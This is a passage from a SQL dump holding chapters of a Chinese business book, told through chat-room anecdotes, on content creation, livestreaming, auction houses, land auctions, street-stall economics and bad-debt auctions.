每周模板升级一次,旧模板归档可复用。\n\n——\n\n线下怎么落地?我们在会议室拿白板分三块:\n\n- 人:只做选题/脚本/复盘,把“想”变成模板;\n- 机器:拍摄/剪辑/字幕/封面/发布,把“做”变成流水线;\n- 中台:表单→工单→节点SLA→复盘→质检,把“按时”变成曲线。\n\n白板要写人话:谁负责、几点办、办到什么程度。当天办完划掉,当日18:00前回填看板。\n\n——\n\n提示怎么说人话?三句就够:\n\n1. 当前待办事项(今天的视频先出三条); \n2. 今日时间分配(早写/中拍/下午剪/晚上发与复盘); \n3. 验收标准说明(停留/完播/评论/私信四项)。\n\n三句说完,当场给清单与时间,不要留模糊。\n\n——\n\n“今天三事”原则(当日可闭环):\n\n- 模板侧:写 20 条开场/反转/承诺句式,当天用 3 条;\n- 流水线侧:早写/中拍/下午剪/晚上发与复盘;\n- 中台侧:录入表单、派发工单、抽检节点、回填看板。\n\n晚复盘需标注“最优/最差段落”,只改最短段与最拖延段。\n\n——\n\n节点怎么写?只写三件:\n\n- 触发条件:什么时候算进来(脚本完成/拍摄完成/剪辑完成/发布完成);\n- 时间与责任:谁做、几点做、做到什么程度;\n- 验收标准:谁看、看什么、在哪个时间看。\n\n每个节点要能验、能追、能复盘。\n\n——\n\n抽检怎么做?每周随机 50 条,只看三项:\n\n- 是否按时:响应/处理/跟进的SLA时间是否到位;\n- 是否到位:动作是否完成、素材是否齐全;\n- 是否回写:看板是否回填、改法是否写清。\n\n不过线的节点,强制人工接管,下周再抽检。\n\n——\n\n异常接管单四要素:\n\n- 接管人/接管时间/处理方案(止损→补做→回写)/验收方式(谁验/何时验/怎么记)。\n\n——\n\n曲线怎么报?四张就够(7选4):\n\n- 内容停留时长曲线;\n- 按时完成率曲线(节点SLA);\n- 承诺兑现率曲线(召唤落地);\n- 复购增长率曲线(留存)。\n\n每周出报,每月复盘“最拖延的段”。\n\n——\n\n培训怎么落地?只讲“要点+跑一次”。\n\n- 要点:岗位拆分/模板库与素材池/三处质检点/提示三句与今天三事/节点与抽检/接管单/曲线;\n- 跑一次:每个岗位跑一条工单,自己做、同伴看、质检再看,最后回填“做到了没”。\n\n第二天复盘,不合格补练,合格才上线。\n', 1971, 0, 1.00, 16, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.639', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (26, '4.3', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', '情绪内容为什么比专业内容更赚钱', '# 4.3 情绪内容为什么比专业内容更赚钱\n\n先拉住,再带走;感受挂住了,专业才有用。\n\n2025年11月13日,周四,早上6点50分。\n\n那天聊到了内容创作的核心,一个做知识号的朋友上麦。\n\n他说:\"卡若,我讲得很专业,但播放和转化都一般。\"\n\n我说:\"因为你讲的是\'知识\',平台要的是\'感受\'。\"\n\n\"不是不需要专业。\"\n\n\"是专业必须挂在情绪上。\"\n\n---\n\n**情绪内容为什么更赚钱?**\n\n因为人刷手机不是来学习的。\n\n是来\"被理解\"和\"被安慰\"的。\n\n你让他被理解,他留下来。\n\n你让他被安慰,他付钱。\n\n---\n\n我们第二天线下见面。\n\n在咖啡馆,我让他把一个专业视频的脚本拿出来。\n\n我只做两处改动。\n\n第一行从\"今天讲三种提升方法\"改成\"你是不是也在焦虑\'越努力越没用\'?\"\n\n最后一行从\"留言交流\"改成\"我把\'能当下用的三步\'做成了清单,评论拿走。\"\n\n播放上来,互动也上来。\n\n---\n\n**情绪不是煽情。**\n\n是打中\"当下的感受\"。\n\n焦虑、内耗、迷茫、无力。\n\n每一种感受都能挂在专业上。\n\n- 你讲效率,挂在\"内耗\"上。\n- 你讲方法,挂在\"迷茫\"上。\n- 你讲系统,挂在\"无力\"上。\n\n---\n\n派对房里有人问:\"这样会不会\'不专业\'?\"\n\n我说:\"不。\"\n\n\"专业是骨架,情绪是外衣。\"\n\n\"没有骨架就耍嘴皮,没有外衣就没人看。\"\n\n---\n\n我给他一个**\"情绪挂载表\"**。\n\n| 情绪类型 | 对应专业 | 开场句式 |\n|---------|---------|---------|\n| 焦虑 | 效率 | \"你是不是总觉得时间不够用?\" |\n| 内耗 | 方法 | \"你是不是越努力越累?\" |\n| 迷茫 | 系统 | \"你是不是不知道该往哪走?\" |\n| 无力 | 案例 | \"你是不是觉得怎么做都没用?\" |\n\n把一条视频的开场挂在对应情绪。\n\n把结尾挂在\"当下可用的动作\"。\n\n中间用一个真实人的一句话,做\"被理解\"的证据。\n\n---\n\n两周后,他在派对房复盘。\n\n\"我从每天3000播放到现在每天4—6万。\"\n\n\"转化也提升了,因为\'当下可用的清单\'可拿走。\"\n\n我说:\"情绪是\'拉住\',专业是\'带走\'。\"\n\n\"两者合在一起,才叫\'能赚钱的内容\'。\"\n\n---\n\n另一个做情绪号的朋友上麦补充。\n\n她说:\"我们公司有一个\'共鸣句库\'。\"\n\n\"每个视频必须出现一句\'你是不是…\'或者\'我懂…\'。\"\n\n\"出现一次,停留就会提升。\"\n\n我点头。\n\n\"共鸣句是\'情绪挂载\'的最短路径。\"\n\n---\n\n**\"情绪内容\"清单:**\n\n1. 开场挂在四类情绪之一,句式用\"你是不是…\"。\n2. 中间放一句真实人的话,做\"被理解\"证据。\n3. 结尾给\"当下可用\"的动作清单,评论拿走。\n4. 全片只讲1个专业点,不要塞满。\n5. 每晚复盘停留与评论关键词,写进\"共鸣句库\"。\n6. 每周升级一次\"挂载表\",让专业挂在更精准的情绪上。\n\n专业是骨架,情绪是外衣。\n\n没有骨架,内容空洞;没有外衣,没人愿意看。\n\n两者结合,才是能赚钱的内容。\n', 1123, 0, 1.00, 17, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.651', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (27, '4.4', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', '猫与宠物号:为什么宠物赛道永不过时', '# 4.4 猫与宠物号:为什么宠物赛道永不过时\n\n宠物不是内容,是关系与陪伴的结构。\n\n2025年11月16日,周日,早上7点28分。\n\n那天派对房里来了位做猫号的朋友,语气有点纠结。\n\n他说:“卡若,猫号现在还行吗?感觉很多人做。”\n\n我说:“宠物赛道不会过时。”\n\n“因为人会为‘情感’付费。”\n\n——\n\n宠物号的逻辑,不是“可爱”。\n\n是“关系”。\n\n你让用户觉得你懂它和它的宠物,\n\n你就能建立长期关系。\n\n长期关系,才有复购。\n\n——\n\n我们第二天线下见面,在宠物店。\n\n我让他把内容拆成四类。\n\n日常、护理、训练、情感。\n\n日常负责陪伴。\n\n护理负责解决问题。\n\n训练负责进步与成就感。\n\n情感负责连接与故事。\n\n四类内容,是宠物号的“基本盘”。\n\n——\n\n派对房里有人问:“怎么变现?”\n\n我说:“不是靠一次直播卖完。”\n\n“是靠‘服务—复购’。”\n\n宠物护理包、训练打卡、情感社群、线下联名。\n\n每一条都是服务,\n\n服务才有复购。\n\n——\n\n我给他一个“30 天宠物号计划”。\n\n第一周,做‘日常+情感’陪伴内容,每天三条。\n\n第二周,做‘护理’解决问题内容,每条给“当下可用清单”。\n\n第三周,做‘训练’打卡内容,设置“七天打卡挑战”。\n\n第四周,做‘社群服务’内容,引导进群,群里有“护理包与训练计划”。\n\n——\n\n两周后,他在派对房复盘。\n\n“进群 300 人,护理包卖了 60 份。”\n\n“训练打卡每天有人发视频。”\n\n我说:“这就是宠物号的‘服务利润’。”\n\n“不是一次性卖货,是长期的关系与服务。”\n\n——\n\n另一个朋友上麦补充。\n\n她说:“我们猫号的复购,来自‘定期护理包’。”\n\n“每月一次,包括清洁、驱虫、营养建议。”\n\n“复购比卖一次猫粮更稳定。”\n\n我点头。\n\n“把‘服务’做成‘包’,复购就稳定了。”\n\n——\n\n这是一张“宠物号清单”。\n\n1. 四类内容为基本盘:日常/护理/训练/情感。\n\n2. 变现靠‘服务—复购’,而不是一次性卖货。\n\n3. 护理包与训练计划做成‘清单+打卡’,提升留存。\n\n4. 建社群与线下联名,用关系增强信任与复购。\n\n5. 每周复盘哪一类内容带来最多互动与转化,加倍投入。\n\n——\n\n线下怎么落地?我们在宠物店拿白板分三块:\n\n- 内容四类:日常/护理/训练/情感;\n- 服务四包:护理包/训练计划/社群服务/线下联名;\n- 看板与曲线:节点/责任人/时段与SLA/到账与复购曲线。\n\n白板要写人话:谁负责、几点办、办到什么程度。当天办完划掉,当日18:00前回填看板。\n\n——\n\n提示怎么说人话?三句就够:\n\n1. 当前待办事项(今天先做‘日常+情感’三条); \n2. 今日时间分配(早拍日常/午拍护理/晚发布与复盘); \n3. 验收标准说明(看停留/评论关键词/进群与下单)。\n\n——\n\n“今天三事”原则(当日可闭环):\n\n- 发布三条陪伴内容并引导进群;\n- 给护理‘当下可用清单’并约时间;\n- 推出训练‘七天打卡挑战’并设置验收。\n\n晚复盘标注“最优/最差段落”,只改最短段与最拖延段。\n\n——\n\n节点三件与抽检:\n\n- 触发条件(进群/下单/打卡开始);\n- 时间与责任(谁做/几点做/做到什么程度);\n- 验收标准(谁看/看什么/在哪个时间看);\n- 每周随机抽检50条(按时/到位/回写),不过线强制接管。\n\n——\n\n异常接管单四要素:\n\n- 接管人/接管时间/处理方案(止损→补做→回写)/验收方式(谁验/何时验/怎么记)。\n\n——\n\n曲线怎么报?四张就够(7选4):\n\n- 内容停留时长曲线;\n- 约见转化率曲线;\n- 复购增长率曲线(护理包/训练计划);\n- 客户满意度曲线。\n\n每周出报,每月复盘“最拖延的段”。\n', 1359, 0, 1.00, 18, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.662', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (28, '4.5', 'part-2', '第二篇|真实的行业', 'chapter-4', '第4章|内容商业篇', '直播间里的三种人:演员、技术工、系统流', '# 4.5 直播间里的三种人:演员、技术工、系统流\n\n稳定不是天赋,是你知道自己该做哪一种事。\n\n2025年11月19日,周三,早上7点35分。\n\n那天派对房聊到了直播变现,一个做直播的小伙伴上麦吐苦水。\n\n他说:“卡若,我直播不稳定,有时候爆,有时候掉。”\n\n我说:“你是哪一种人?”\n\n他愣了。\n\n“直播间里有三种人。”\n\n“演员、技术工、系统流。”\n\n——\n\n演员,靠表现力。\n\n镜头感强、情绪感染强、控场能力强。\n\n技术工,靠产品力。\n\n懂参数、懂比较、懂使用场景,能讲出‘为什么值’。\n\n系统流,靠流程与团队。\n\n人货场统一、流程稳定、数据驱动,把直播变成“生产线”。\n\n——\n\n派对房里有人问:“哪一种最赚钱?”\n\n我说:“系统流。”\n\n“因为系统可以复制。”\n\n“演员和技术工,复制难。”\n\n——\n\n我们第二天线下见面,在公司直播间。\n\n我让他把直播流程从进场到收尾写出来。\n\n开场 3 分钟、产品讲解、对比演示、答疑、召唤与收尾。\n\n我说:“找出三个固定‘卡点’。”\n\n“开场的冲击句,对比演示的‘惊讶点’,收尾的‘承诺’。”\n\n每一场都一样。\n\n只换产品,不换流程。\n\n——\n\n两周后,他在派对房复盘。\n\n“我把‘惊讶点’固定成‘现场对比’。”\n\n“每次都能拉住 30 秒的停留。”\n\n“收尾承诺固定成‘48 小时跟进与售后清单’。”\n\n“成交也稳定了。”\n\n我说:“这就是系统流的优势。”\n\n“可复制、可复盘、可升级。”\n\n——\n\n另一个做直播的朋友上麦补充。\n\n他说:“我们团队的分工是‘演员+技术工+流程官’。”\n\n“演员负责控场与情绪。”\n\n“技术工负责产品‘为什么值’。”\n\n“流程官负责节奏与数据。”\n\n“三者一起,稳定性就出来了。”\n\n我点头。\n\n“人不能单打独斗。”\n\n“直播更要‘岗位配套’。”\n\n——\n\n这是一张“直播系统清单”。\n\n1. 明确你是演员/技术工/系统流,或三者配套的团队。\n\n2. 固定三个卡点:开场冲击句/对比演示‘惊讶点’/收尾承诺。\n\n3. 流程不换,只换产品;每场复盘‘停留与成交’两项。\n\n4. 配置流程官,用数据驱动节奏与优化。\n\n5. 售后清单与 48 小时跟进,把“情绪成交”变成“结构复购”。\n\n——\n\n线下怎么落地?我们在直播间拿白板分三块:\n\n- 人:演员/技术工/流程官分工;\n- 流程:固定三卡点(开场冲击句/对比演示‘惊讶点’/收尾承诺),流程不换只换产品;\n- 中台:表单→工单→节点SLA→复盘→质检,把“按时与兑现”画成曲线。\n\n白板要写人话:谁负责、几点办、办到什么程度。当天办完划掉,当日18:00前回填看板。\n\n——\n\n提示怎么说人话?三句就够:\n\n1. 当前待办事项(今天三场分别固定三卡点); \n2. 今日时间分配(开场3分钟/产品讲解/对比演示/答疑/召唤与收尾); \n3. 验收标准说明(停留30秒/承诺兑现/48小时售后清单回填)。\n\n——\n\n“今天三事”原则(当日可闭环):\n\n- 固定三卡点并发布;\n- 数据复盘‘停留与成交’两项;\n- 售后清单与48小时跟进完成回填。\n\n晚复盘标注“最优/最差段落”,只改最短段与最拖延段。\n\n——\n\n节点三件与抽检:\n\n- 触发条件(开场/对比演示/收尾承诺启动);\n- 时间与责任(谁做/几点做/做到什么程度);\n- 验收标准(谁看/看什么/在哪个时间看);\n- 每周随机抽检50条(按时/到位/回写),不过线强制接管。\n\n——\n\n异常接管单四要素:\n\n- 接管人/接管时间/处理方案(止损→补做→回写)/验收方式(谁验/何时验/怎么记)。\n\n——\n\n曲线怎么报?四张就够(7选4):\n\n- 内容停留时长曲线;\n- 按时完成率曲线(节点SLA);\n- 承诺兑现率曲线;\n- 约见转化率或成交率曲线。\n\n每周出报,每月复盘“最拖延的部分”。\n', 1399, 0, 1.00, 19, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.673', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (29, '5.1', 'part-2', '第二篇|真实的行业', 'chapter-5', '第5章|传统行业篇', '拍卖行抱朴:一天240万的摇号生意', '# 5.1 拍卖行抱朴:一天240万的摇号生意\n\n\"我最赚钱的一天,挣了240万。一块地1.2个亿,拿2%的佣金,就这么舒服。\"\n\n2025年11月27日,周四,早上7点16分。\n\nSoul派对房里,抱朴开始分享他的拍卖行生意。\n\n他是我的老朋友,做了十几年拍卖。\n\n我们聊起\"最赚钱的一个月做的是什么\",他说他的不是一个月,是一天。\n\n---\n\n派对房里,有人问:\"一天240万?怎么做到的?\"\n\n抱朴说:\"我有一家拍卖公司。\"\n\n\"那天高院摇号,摇到我了。\"\n\n\"一块土地,底价1.2个亿。\"\n\n\"拍卖公司收2%的佣金,就是240万。\"\n\n他笑了。\n\n\"挣了这笔钱之后,我们公司唱了三天歌。\"\n\n---\n\n派对房里,有人说:\"等等,什么叫摇号?\"\n\n抱朴解释道:\n\n\"拍卖公司想拿政府的活,不是随便就能拿的。\"\n\n\"你要先入围。\"\n\n\"比如河南省高院,每一两年会选库。\"\n\n\"什么叫选库?就是从全省的拍卖公司里,选30家进入他的库。\"\n\n\"你要投标、评分、竞争,才能进去。\"\n\n---\n\n他继续说。\n\n\"进了库之后,有土地要拍、有资产要拍,就从这30家里摇号。\"\n\n\"摇到谁,谁就拿这个活。\"\n\n\"这个很公平,谁也做不了假。\"\n\n\"抓阄的,抓到3号就是3号。\"\n\n---\n\n派对房里,有人问:\"那你是怎么进的库?\"\n\n抱朴说:\"这个就有故事了。\"\n\n\"我最开始做的是文物拍卖。\"\n\n\"卖齐白石、张大千的画,收25%的佣金。\"\n\n\"文物拍卖资质要1000万实缴,一个拍卖师。\"\n\n他停了一下。\n\n\"后来我听说还有一个叫公务拍卖资质。\"\n\n\"公务,就是公家的意思。\"\n\n\"这个资质需要500万实缴,两个拍卖师。\"\n\n---\n\n他继续说。\n\n\"我当时想,反正我已经有拍卖公司了,不如再申请一个公务拍卖资质,万一有用呢。\"\n\n\"就跑去商务厅问,怎么申请。\"\n\n\"他们说你注册资金够了,再买一个拍卖师就行。\"\n\n派对房里,有人问:\"拍卖师证值钱吗?\"\n\n抱朴笑了。\n\n\"十年前,一个拍卖师证一年挂靠费3万块。\"\n\n\"你啥都不用干,就考一个证,挂到拍卖公司,一年就拿3万。\"\n\n\"现在便宜点了,也得1万多。\"\n\n---\n\n他继续说。\n\n\"我拿到公务拍卖资质之后,就不知道怎么接活了。\"\n\n\"因为我之前只做文物拍卖,不懂这个。\"\n\n\"后来我请了一个队伍,专门跑公共资源交易中心。\"\n\n---\n\n派对房里,有人问:\"公共资源交易中心是什么?\"\n\n抱朴说:\"这是一个新部门。\"\n\n\"大概十年前成立的,专门帮政府买东西和卖东西。\"\n\n\"实权派的部门,省里有,市里有,县里也有。\"\n\n\"你拍卖公司想拿政府的活,就要去这个部门入围。\"\n\n---\n\n他继续说。\n\n\"我派了一个队伍,把每个地方的公共资源交易中心都入围了。\"\n\n\"法院也入围。\"\n\n\"入围之后就等着摇号。\"\n\n\"有一天,终于摇到我了。\"\n\n\"河南周口鹿邑的一块土地,1.2亿底价。\"\n\n---\n\n派对房里,有人问:\"那你怎么操作这个拍卖的?\"\n\n抱朴说:\"说实话,我当时不太懂。\"\n\n\"但学很容易的。\"\n\n\"打个电话,人家都过来教你。\"\n\n\"我们几个人去鹿邑看了那块地,花几千块钱租了个场地。\"\n\n\"然后就开始操作了。\"\n\n---\n\n他讲了一个有意思的细节。\n\n\"土地底价1亿,押金600万。\"\n\n\"有个大哥要买这块地,跑过来问我:有人办牌没有?\"\n\n\"一个小时问我一次,甚至半个小时问我一次。\"\n\n\"什么意思呢?他怕有人跟他抢。\"\n\n\"如果没人跟他抢,他就按底价拿。\"\n\n\"如果有人抢,他就要准备加价。\"\n\n---\n\n派对房里,有人问:\"那最后拍了多少?\"\n\n抱朴说:\"具体数字我不说了。\"\n\n\"反正我拿了2%的佣金,240万。\"\n\n\"这就是一天的事情。\"\n\n---\n\n那天聊完,已经快9点了。\n\n派对房里有人说:\"原来拍卖行是这么玩的。\"\n\n抱朴说:\"拍卖行的核心不是拍卖师在台上喊价。\"\n\n\"核心是入围、摇号、后端的规则。\"\n\n\"你入不了围,什么都白搭。\"\n\n\"你入了围,就等着摇号。\"\n\n\"摇到了,就是一大笔钱。\"\n\n---\n\n早上9点15分,抱朴说他要出门了。\n\n临走前他说:\"其实我还错过了更大的机会。\"\n\n我问:\"什么机会?\"\n\n他说:\"有一次,有个上市公司找我拍不良资产。\"\n\n\"一个标的,佣金能有一个亿。\"\n\n\"但当时淘宝拍卖起来了,把我们搅黄了。\"\n\n\"那一个亿,我没拿到。\"\n\n派对房里,一阵沉默。\n\n我说:\"机会永远在,但窗口不等人。\"\n\n\"能抓住的就抓,抓不住的就复盘。\"\n\n\"下一次,准备得更好就行了。\"\n', 1675, 0, 1.00, 21, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.696', 1, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (30, '5.2', 'part-2', '第二篇|真实的行业', 'chapter-5', '第5章|传统行业篇', '土地拍卖:招拍挂背后的游戏规则', '# 5.2 土地拍卖:招拍挂背后的游戏规则\n\n\"土地要想卖给老百姓,必须通过三种方式:招标、拍卖、挂牌。这叫招拍挂。\"\n\n2025年11月27日,周四,早上7点45分。\n\nSoul派对房里,抱朴继续讲他的拍卖行故事。\n\n这一段,讲的是土地拍卖。\n\n---\n\n他说:\"招标和拍卖,都是公开、公正、公平的。\"\n\n\"只有挂牌,灰色收入比较多。\"\n\n\"你挂牌,说不出来为什么给他。\"\n\n\"因为它不公开。\"\n\n---\n\n派对房里,有人问:\"那政府为什么还要挂牌?\"\n\n抱朴说:\"以前操作空间大。\"\n\n\"但后来政府也很生气。\"\n\n\"就下了一个文,河南省国土厅下的。\"\n\n\"所有土地,必须经过招拍挂。\"\n\n\"至少30%的土地,要先由拍卖公司拍卖。\"\n\n---\n\n他继续说。\n\n\"为什么要这样?\"\n\n\"就是不让人作假。\"\n\n\"该多少钱,都交给政府。\"\n\n\"你们别想在中间捞油水。\"\n\n---\n\n派对房里,有人问:\"那拍卖就没有猫腻了?\"\n\n抱朴笑了。\n\n\"你问得好。\"\n\n\"拍卖有一个东西,叫围标。\"\n\n---\n\n他解释道。\n\n\"什么叫围标?\"\n\n\"比如一块地,底价1个亿。\"\n\n\"正常情况下,好几家开发商来竞争,价格会被抬上去。\"\n\n\"但如果这几家开发商提前商量好了呢?\"\n\n\"大家都不举牌,只有一家举牌。\"\n\n\"那他就按底价拿了。\"\n\n---\n\n派对房里,有人说:\"这不是串通吗?\"\n\n抱朴说:\"对,这就叫围标。\"\n\n\"但你很难查。\"\n\n\"因为大家只是\'碰巧\'都没举牌。\"\n\n\"你说他们串通,他们不承认。\"\n\n---\n\n他讲了一个细节。\n\n\"以前有些地方,开发商之间会打招呼。\"\n\n\"你这块地我要,你别来。\"\n\n\"下次那块地你要,我不去。\"\n\n\"大家轮流拿,都按底价。\"\n\n\"皆大欢喜。\"\n\n---\n\n派对房里,有人问:\"那政府不管吗?\"\n\n抱朴说:\"管啊。\"\n\n\"后来就有了一些规定。\"\n\n\"比如押金要交600万。\"\n\n\"你来参加拍卖,先交押金。\"\n\n\"这样乱举牌的成本就高了。\"\n\n---\n\n他继续说。\n\n\"还有一个办法,就是保底价不公开。\"\n\n\"你不知道底价是多少。\"\n\n\"大家都按自己的估价来出价。\"\n\n\"这样围标就难了。\"\n\n---\n\n派对房里,有人问:\"那现在还有围标吗?\"\n\n抱朴想了一下。\n\n\"少了,但没完全没有。\"\n\n\"规则越严格,操作空间越小。\"\n\n\"但只要有利益,就有人想钻空子。\"\n\n\"这是人性,改不了的。\"\n\n---\n\n那天聊完,派对房里有人说:\"原来土地拍卖这么复杂。\"\n\n抱朴说:\"任何行业都复杂。\"\n\n\"你看到的只是表面。\"\n\n\"背后的规则、利益、博弈,外人看不到。\"\n\n---\n\n早上8点25分,抱朴讲了一个他亲身经历的案例。\n\n\"有一次,我拍一块地。\"\n\n\"有个大哥想买。\"\n\n\"他一个小时问我一次:有人办牌没有?\"\n\n\"他紧张得很。\"\n\n\"因为他知道,只要有人跟他抢,价格就上去了。\"\n\n\"他提前打听过,觉得没人会来。\"\n\n\"但他还是不放心。\"\n\n---\n\n他继续说。\n\n\"最后确实没人来。\"\n\n\"他按底价拿了。\"\n\n\"省了好多钱。\"\n\n\"但这里面有没有提前打过招呼?\"\n\n\"我不知道。\"\n\n\"我是拍卖公司,我只管拍卖。\"\n\n\"买家之间的事情,我不问。\"\n\n---\n\n派对房里,有人说:\"你这是揣着明白装糊涂。\"\n\n抱朴笑了。\n\n\"做生意嘛。\"\n\n\"有些事情,知道太多不好。\"\n\n\"你只管把自己的活干好。\"\n\n\"其他的,不是你能管的。\"\n\n---\n\n早上8点48分,有人问:\"抱朴,你觉得拍卖行还能做吗?\"\n\n他说:\"能做,但没以前好做了。\"\n\n\"淘宝拍卖起来之后,线下拍卖被冲击很厉害。\"\n\n\"很多业务都跑到线上去了。\"\n\n\"线下拍卖,要找新的活法。\"\n\n我说:\"任何行业都一样。\"\n\n\"红利期过了,就要靠专业和效率。\"\n\n\"以前赚钱靠风口,现在赚钱靠能力。\"\n\n\"这是好事,说明行业在成熟。\"\n', 1393, 0, 1.00, 22, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.707', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (31, '5.3', 'part-2', '第二篇|真实的行业', 'chapter-5', '第5章|传统行业篇', '地摊经济数字化:一个月900块的餐车生意', '# 5.3 地摊经济数字化:一个月900块的餐车生意\n\n\"SM那边的摊位,一个月900块。一天就挣回去了。\"\n\n2025年12月5日,周五,早上7点22分。\n\nSoul派对房里聊起了地摊经济。\n\n有人问:\"现在摆摊还能赚钱吗?\"\n\n我说:\"能。但要看你怎么摆。\"\n\n---\n\n派对房里,有人问:\"你做过地摊吗?\"\n\n我说:\"不是做过,是正在做。\"\n\n\"我们做地摊经济数字化,做了7年了。\"\n\n\"厦门这边的SM地铁口、岛内的BRT、后埔夜市、集美、同安夜市,包括今年拓展到泉州宝盖山夜市,福州 、龙岩也准备招商引资让我们过去。\"\n\n---\n\n有人问:\"什么叫地摊经济数字化?\"\n\n我说:\"简单讲,就是把地摊变成数据。\"\n\n\"传统摆摊,你只是卖东西。\"\n\n\"我们做的,是把每一个付款的用户囤到私域里。\"\n\n\"用户扫码付款,就有一个AI数智员工加他。\"\n\n\"以后他想吃地摊的东西,可以在线上下单,我们送到家。\"\n\n\"就像现在很火的淘宝闪购,地摊版的。\"\n\n---\n\n派对房里,有人问:\"美团、淘宝不做地摊吗?\"\n\n我笑了。\n\n\"他们不要这个业务。\"\n\n\"为什么?脏乱差,食品安全很麻烦。\"\n\n\"他们不想做,我们就捡起来做了。\"\n\n\"又脏又累的活,慢慢做规模出了点规模。\"\n\n---\n\n有人问:\"那你们的模式是什么?\"\n\n我说:\"三个环节。\"\n\n\"第一个,政府给地。\"\n\n\"我们和建发、国贸这些公司合作,他们有流量的地点,我们来做。\"\n\n\"本质上是帮政府解决就业问题,所以他们愿意给地。\"\n\n---\n\n我继续说。\n\n\"第二个,我们投资餐车。\"\n\n\"我们投餐车,然后便宜租给想创业的人。\"\n\n\"市面上店面四五千/月,甚至更贵,我们的餐车900块/月。\"\n\n\"而且地址都有专业的团队和数据支撑,都在流量入口:地铁口、社区集合夜市、学校学生街附近等。“\n\n---\n\n我停了一下。\n\n\"第三个,囤用户做私域。\"\n\n\"每一个付款的用户,我们都会加他微信。\"\n\n\"厦门这边30.8万吃地摊的用户,都在我们这边。\"\n\n\"他们平均每人每年消费43块,这个数据我很清楚。\"\n\n---\n\n派对房里,有人问:\"那摆摊的人能赚多少?\"\n\n我说了几个数据。\n\n\"SM那边,平均流水2万到6万。\"\n\n\"摆摊的人,平均利润8000到18000。\"\n\n\"岛内后埔那边,平均流水3万到5万。\"\n\n\"夫妻档的话,平均能赚12000到15000。\"\n\n\"但比较累。\"\n\n---\n\n有人问:\"那你们赚什么钱?\"\n\n我说:\"三个地方。\"\n\n\"第一,收租。餐车租出去,每个月收租金。\"\n\n\"第二,私域变现。用户囤起来,后端做转化。\"\n\n\"第三,政府补贴。帮政府解决就业,有政策支持。\"\n\n补贴前提是企业做的足够好 ,活的足够久。\n\n---\n\n派对房里,有人问:\"这个生意能复制吗?\"\n\n我说:\"能,但很重。\"\n\n\"你要先拿到地点,要和政府、商场谈。\"\n\n\"然后要投资餐车,一个餐车2万块左右。\"\n\n\"然后要招商,要管理,要背锅。\"\n\n\"吃坏肚子了,我们要挨骂,要处理。\"\n\n\"还有专门的背锅部门,天天等着挨骂。\"\n\n---\n\n我继续说。\n\n\"我们现在厦门有2000多摊。\"\n\n\"但后台想摆摊的人有1万个。\"\n\n\"好位置都没有,供不应求。\"\n\n\"所以这个生意稳定,只是重。\"\n\n---\n\n那天聊完,有人说:\"原来地摊也能做成这样。\"\n\n我说:\"任何行业都能数字化。\"\n\n\"地摊看起来low,但核心还是用户和数据。\"\n\n\"你把用户囤起来,就有了复购。\"\n\n\"你把数据记下来,就能做决策。\"\n\n\"这个逻辑,线上线下都一样。\"\n\n---\n\n早上8点15分,派对房里有人问:\"你们还在扩张吗?\"\n\n我说:\"福州、龙岩政府在过来找我们谈,之前中央文明办和住建部、全国各地的代表都主动来过。\"\n\n\"还有泉州宝盖山那边,刚投了一批餐车。\"\n\n\"那边有个理工学校,2万6的学生。\"\n\n\"年轻人多的地方,地摊就好做。\"\n\n派对房里,有人说:\"我也想摆摊,怎么联系你们?\"\n\n我说:\"可以来派对房聊。\"\n\n\"我们正好缺人。\"\n\n\"只是要想清楚,这个活又脏又累。\"\n\n\"能吃苦的来,想躺赚的就算了。\"\n', 1528, 0, 1.00, 23, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.718', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (32, '5.4', 'part-2', '第二篇|真实的行业', 'chapter-5', '第5章|传统行业篇', '不良资产拍卖:我错过的一个亿佣金', '# 5.4 不良资产拍卖:我错过的一个亿佣金\n\n\"有一次,有个上市公司找我拍不良资产。那一单的佣金,能有一个亿。\"\n\n2025年11月27日,周四,早上8点35分。\n\nSoul派对房里,抱朴讲完了土地拍卖的故事。\n\n有人问:\"抱朴,你说你错过了更大的机会,是什么?\"\n\n他沉默了一下。\n\n\"不良资产。\"\n\n---\n\n派对房里,有人问:\"不良资产是什么?\"\n\n抱朴说:\"就是银行收不回来的钱。\"\n\n\"比如有人贷款1000万,还不起了。\"\n\n\"银行就把这个债权卖出去。\"\n\n\"卖给谁呢?卖给专门做不良资产的公司。\"\n\n\"华融、信达、东方,这些都是四大资产管理公司。\"\n\n---\n\n他继续说。\n\n\"不良资产怎么处理呢?\"\n\n\"有时候是法院没收的东西,要拍卖。\"\n\n\"有时候是银行的抵押物,要拍卖。\"\n\n\"这些拍卖,佣金都很高。\"\n\n\"因为标的大,几千万、几个亿都是常见的。\"\n\n---\n\n派对房里,有人问:\"那你那一单是怎么回事?\"\n\n抱朴叹了口气。\n\n\"那是几年前的事了。\"\n\n\"有个上市公司找我,说有一批不良资产要拍。\"\n\n\"总价值很大,佣金算下来能有一个亿。\"\n\n---\n\n我问:\"那后来呢?\"\n\n他说:\"淘宝拍卖起来了。\"\n\n派对房里,一阵沉默。\n\n---\n\n抱朴继续说。\n\n\"淘宝做了司法拍卖。\"\n\n\"法院的东西,直接放到淘宝上拍。\"\n\n\"不用再找我们这些线下拍卖公司了。\"\n\n\"那一单,就这么黄了。\"\n\n---\n\n派对房里,有人问:\"淘宝拍卖对你们冲击很大吗?\"\n\n抱朴说:\"非常大。\"\n\n\"以前法院有什么要拍的,都找我们。\"\n\n\"现在呢?直接挂淘宝。\"\n\n\"透明、公开、成本低。\"\n\n\"我们这些传统拍卖行,很多业务都没了。\"\n\n---\n\n他继续说。\n\n\"你知道淘宝拍卖最厉害的是什么吗?\